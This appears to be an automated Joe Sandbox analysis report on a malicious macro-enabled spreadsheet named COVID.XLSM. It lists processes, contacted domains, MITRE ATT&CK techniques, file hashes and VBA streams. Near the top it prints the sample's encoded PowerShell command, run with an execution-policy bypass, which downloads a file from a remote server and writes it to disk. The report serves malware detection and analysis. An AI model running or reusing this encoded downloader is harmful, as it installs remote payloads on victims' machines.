AXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwA	Jump to behavior

Source: C:\Windows\System32\cmd.exe

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation11	Path Interception	Process Injection11	Masquerading1	OS Credential Dumping	Security Software Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Command and Scripting Interpreter111	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Scripting22	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion21	Security Account Manager	Virtualization/Sandbox Evasion21	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Exploitation for Client Execution3	Logon Script (Mac)	Logon Script (Mac)	Process Injection11	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	PowerShell2	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	File and Directory Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Scripting22	Cached Domain Credentials	System Information Discovery12	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
COVID.XLSM	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://awmelisers.comp	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
https://awmelisers.com	0%	Avira URL Cloud	safe
https://awmelisers.com/api/v3/achyranthes/contrapolarization/kulturkreis	0%	Avira URL Cloud	safe
https://awmelisers.comPE	0%	Avira URL Cloud	safe
https://awmelisers.com/0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
awmelisers.com	206.81.23.172	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://awmelisers.comp	powershell.exe, 00000004.00000002.2108444301.0000000003746000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.piriform.com/ccleaner	powershell.exe, 00000004.00000002.2103643804.0000000000372000.00000004.00000020.sdmp	false		high
http://www.%s.comPA	powershell.exe, 00000004.00000002.2104314415.0000000002390000.00000002.00000001.sdmp	false	URL Reputation: safe	low
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	powershell.exe, 00000004.00000002.2104314415.0000000002390000.00000002.00000001.sdmp	false		high
https://awmelisers.com	powershell.exe, 00000004.00000002.2108444301.0000000003746000.00000004.00000001.sdmp, powershell.exe, 00000004.00000002.2105066116.0000000002C21000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://awmelisers.com/api/v3/achyranthes/contrapolarization/kulturkreis	powershell.exe, 00000004.00000002.2110218103.000000001B593000.00000004.00000001.sdmp, powershell.exe, 00000004.00000002.2107955947.00000000035CC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://awmelisers.comPE	powershell.exe, 00000004.00000002.2107955947.00000000035CC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://awmelisers.com/0	powershell.exe, 00000004.00000002.2107955947.00000000035CC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
206.81.23.172	awmelisers.com	United States		14061	DIGITALOCEAN-ASNUS	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	471900
Start date:	26.08.2021
Start time:	07:22:09
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	COVID.XLSM
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.expl.evad.winXLSM@5/4@1/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 3 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .XLSM Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe Not all processes where analyzed, report is missing behavior information VT rate limit hit for: /opt/package/joesandbox/database/analysis/471900/sample/COVID.XLSM

Simulations

Behavior and APIs

Time	Type	Description
07:22:44	API Interceptor	32x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
awmelisers.com	cobaltocyanic.exe	Get hash	malicious	Browse	142.93.102.244

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DIGITALOCEAN-ASNUS	Scan-System.exe	Get hash	malicious	Browse	157.245.3.101
	Scan-System.exe	Get hash	malicious	Browse	157.245.3.101
	ziprar.exe	Get hash	malicious	Browse	45.55.57.132
	j777bHTnC9.doc	Get hash	malicious	Browse	138.68.30.186
	j777bHTnC9.doc	Get hash	malicious	Browse	138.68.30.186
	EoY_TAX_Document-73785947_20210823.xlsb	Get hash	malicious	Browse	139.59.64.195
	EoY_TAX_Notificaion-9134_20210823.xlsb	Get hash	malicious	Browse	139.59.64.195
	EoY_TAX_Export-6179_20210823.xlsb	Get hash	malicious	Browse	134.209.205.181
	EoY_TAX_Document-3364_20210823.xlsb	Get hash	malicious	Browse	134.209.205.181
	EoY_TAX_Export-15218_20210823.xlsb	Get hash	malicious	Browse	139.59.64.195
	EoY_TAX_Document-8652654913_20210823.xlsb	Get hash	malicious	Browse	139.59.64.195
	EoY_TAX_Export-626671470_20210823.xlsb	Get hash	malicious	Browse	139.59.64.195
	EoY_TAX_Document-249607367_20210823.xlsb	Get hash	malicious	Browse	139.59.64.195
	NMlnVly7uv	Get hash	malicious	Browse	164.90.252.215
	VvamA82Yw7.doc	Get hash	malicious	Browse	67.205.158.47
	VvamA82Yw7.doc	Get hash	malicious	Browse	67.205.158.47
	tiS0LFl5Cd.exe	Get hash	malicious	Browse	167.172.146.76
	n038rUglDh.exe	Get hash	malicious	Browse	142.93.237.125
	VXS0UU2rgK.exe	Get hash	malicious	Browse	134.209.79.108
	Xwv2IO57hX.exe	Get hash	malicious	Browse	165.227.229.15

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C6078775.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 858 x 377, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	7.986190069917012
Encrypted:	false
SSDEEP:	384:TYg4p/y01k5xsyD4Pc+aJAaufwGpI+/i3jPwrgk7LD8RB+x6e/au7Ji04HFoZ1mh:TYpp3zyM+J9RGpbokfD8RB+L/7j4OZ6Z
MD5:	98331EEB50A644187B6A8081251A5DC2
SHA1:	50BC9695687A7E1EBDFF8AD191F8125D9E080410
SHA-256:	FA921E6572C0A6B3EC1E193CE87E07F9756EFFC0BD16FBD45C88AC1EBE75C458
SHA-512:	5276AB809A7849AD4709A0B7A288C7E8413B9F152E659D28CA65A25531DEC33EFC5589ECDF8BBEA2121314023F93C86EDA376E2D591721540171C8BB26EB6493
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...Z...y............pHYs..........o.d...@PLTE....................................@;5................r.........@;7.....................?8-.uB>5......................E:+.w..............................M4...........o......%%%.{.....................................................................9.,...999...,,,...$.......C.......222........QQQ.....???....) 8..WWW...{{{..A5!.\|...4,.........eee&........C/..w.....```......tk[ZQA..zHHH.~...MLLDDC.....LC4......{rc...SJ9...kkk[[[kbRuuu:2#...ppp.zjbYI....q.....k...nPO....m......V]v^e~.~...d6..cE.&.....tV..f...x]\..X.rD.......qp..Oms.}..........Bz"...fIDATx.._..H.............7?.....W.\_.Y.D.". 2dC\_V....'....\|.2vw.;.IO.\z...?I.u.../...A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..)....A..o....y...B$t..P.................?....J....zv.c......W(~.Q.E.}g...gd......e.<.>x...8...J....-[..`_....#\.,..].%.W..E...O=.HW..O.<..........;=A;......wv..ZW.^...j.7t..36~......m..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy) Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.582489644275839
Encrypted:	false
SSDEEP:	96:chQCIMqwqvsqvJCwofz8hQCIMqwqvsEHyqvJCworZzv9Y9H8QhOalUVNIu:c2Bofz82ZHnorZzv9QhOzIu
MD5:	39DAEED4CC6EEE59FEA4AE9C60EC2410
SHA1:	9D484E71D3D4F6521B4BFE5AA65E9C937B3DF69C
SHA-256:	3EB30FDE4BD29CCA750EEC5B7FE2D5D2AD9F4A15543B37C459A4BE4D457FCE05
SHA-512:	EC45CF2D2E52D081B31981E2F52D60EE2D57B98A074771395921527ABDF4C8C028C323609DDB6B8F0FDB1E66D6AB5579CB9CB11F141CC4A293973A4A64572762
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Q.y..Programs..f.......:...Q.y...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\665Y5FDQ12L8FV52M3S3.temp Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.582489644275839
Encrypted:	false
SSDEEP:	96:chQCIMqwqvsqvJCwofz8hQCIMqwqvsEHyqvJCworZzv9Y9H8QhOalUVNIu:c2Bofz82ZHnorZzv9QhOzIu
MD5:	39DAEED4CC6EEE59FEA4AE9C60EC2410
SHA1:	9D484E71D3D4F6521B4BFE5AA65E9C937B3DF69C
SHA-256:	3EB30FDE4BD29CCA750EEC5B7FE2D5D2AD9F4A15543B37C459A4BE4D457FCE05
SHA-512:	EC45CF2D2E52D081B31981E2F52D60EE2D57B98A074771395921527ABDF4C8C028C323609DDB6B8F0FDB1E66D6AB5579CB9CB11F141CC4A293973A4A64572762
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Q.y..Programs..f.......:...Q.y...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\Desktop\~$COVID.XLSM Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Reputation:	high, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.97231654284083
TrID:	Excel Microsoft Office Open XML Format document with Macro (52504/1) 52.24% Excel Microsoft Office Open XML Format document (40004/1) 39.80% ZIP compressed archive (8000/1) 7.96%
File name:	COVID.XLSM
File size:	68807
MD5:	c123363068a4651c9c0c6b4e01b35142
SHA1:	8de437d8df29c53e9ebb03a797fdbf805c10429a
SHA256:	e5e65b70b5497f146609db5c086e997a4b0ab2352b534c9e25d8a10407801d78
SHA512:	716b63a43665148721ef8a1f8f43e8cadeac054af3788d6d496df8e71cc0dae12b880e98531d8087b16033330525fb051a45e689be51276aa1de68c5ea44a6d4
SSDEEP:	1536:ojIIRVJJfdsj1kFKEOkv1DRm7PAoLl2idZ19SpV:onrJJfdkUKEV1DRm7PAoxDbSpV
File Content Preview:	PK...........S................[Content_Types].xml.....................V.n.0.....B...EQX..I.m...@.k.1_.2...]J1..r..6..Drvgf)b..U.l...&..]......._6.......0K.......dW...&.V...am.....Zp.y...Y..d.iZ.(.J.A\N&...>..u..l6...\|...2.......Q2.-..z.....Q..zt..1&..[..,

File Icon


Icon Hash:	e4e2aa8aa4bcbcac

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "/opt/package/joesandbox/database/analysis/471900/sample/COVID.XLSM"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	False
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Subject:	Removed Hoo36:HA/HB/HQ and corresponding crosswalk and 2nd modifer codes per CABHA policy and IU82.
Author:	twildfir
Last Saved By:	Administrator
Create Time:	2001-04-16T18:40:12Z
Last Saved Time:	2021-08-05T13:08:31Z
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Thumbnail Scaling Desired:	false
Company:	Thomas S Services
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	16.0300

Streams with VBA

VBA File Name: Alt Svc Array.cls, Stream Size: 177

General
Stream Path:	VBA/Alt Svc Array
VBA File Name:	Alt Svc Array.cls
Stream Size:	177
Data ASCII:	. . . . A t t r i b u t . e V B _ N a m . e = " A l t . S v c A r r a y " . . . . B a . s . . 0 { 0 0 0 2 ` 0 8 2 0 - . . . . C # . . . . 4 6 } . \| G l . o b a l . . S p a . c . . F a l s e . % . C r e a t a b l . . . P r e d e c l . a . . I d . # T r u . . " E x p o s e . . . . @ T e m p l a t @ e D e r i v . . C . u s t o m i z . D . . 2
Data Raw:	01 ad b0 00 41 74 74 72 69 62 75 74 00 65 20 56 42 5f 4e 61 6d 00 65 20 3d 20 22 41 6c 74 00 20 53 76 63 20 41 72 72 20 61 79 22 0d 0a 0a 90 42 61 02 73 02 90 30 7b 30 30 30 32 60 30 38 32 30 2d 00 10 04 08 43 23 05 12 03 00 34 36 7d 0d 7c 47 6c 10 6f 62 61 6c 01 d2 53 70 61 82 63 01 92 46 61 6c 73 65 0c 25 00 43 72 65 61 74 61 62 6c 01 15 1f 50 72 65 64 65 63 6c 12 61 00 06 49 64

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
Array"
VB_TemplateDerived

VBA Code

Attribute VB_Name = "Alt Svc Array"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Archived Alt Svcs.cls, Stream Size: 179

General
Stream Path:	VBA/Archived Alt Svcs
VBA File Name:	Archived Alt Svcs.cls
Stream Size:	179
Data ASCII:	. . . . A t t r i b u t . e V B _ N a m . e = " A r c . h i v e d A l . t S v c s " . " . . . B a s . . 0 { . 0 0 0 2 0 8 2 0 6 - . . . . C . . . . 4 6 . } . \| G l o b a l ! . . S p a c . I F a . l s e . % C r e a . t a b l . . P r e d e c l a . . I d . . # T r u . " E x p . o s . . . @ T e m p . l a t e D e r . v . . C u s t o m i z . . D . 2
Data Raw:	01 af b0 00 41 74 74 72 69 62 75 74 00 65 20 56 42 5f 4e 61 6d 00 65 20 3d 20 22 41 72 63 00 68 69 76 65 64 20 41 6c 00 74 20 53 76 63 73 22 0d 22 0a 0a a0 42 61 73 02 a0 30 7b 00 30 30 30 32 30 38 32 30 36 2d 00 10 04 08 43 05 12 03 00 34 36 02 7d 0d 7c 47 6c 6f 62 61 6c 21 01 da 53 70 61 63 01 49 46 61 08 6c 73 65 0c 25 43 72 65 61 10 74 61 62 6c 15 1f 50 72 65 20 64 65 63 6c 61

VBA Code Keywords

Keyword
False
VB_Exposed
Attribute
Svcs"
VB_Name
VB_Creatable
VB_PredeclaredId
VB_GlobalNameSpace
VB_Base
VB_Customizable
"Archived
VB_TemplateDerived

VBA Code

Attribute VB_Name = "Archived Alt Svcs"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Service Array.cls, Stream Size: 178

General
Stream Path:	VBA/Service Array
VBA File Name:	Service Array.cls
Stream Size:	178
Data ASCII:	. . . . A t t r i b u t . e V B _ N a m . e = " S e r . v i c e A r r a y " . . . . B a . s . . 0 { 0 0 0 2 ` 0 8 2 0 - . . . . C # . . . . 4 6 } . \| G l . o b a l . . S p a . . . = F a l s e . . % C r e a t a b . l . . P r e d e c $ l a . . I d . # T r . u . " E x p o s e . . . . @ T e m p l a . t e D e r i v . . . C u s t o m i z . . D . 2
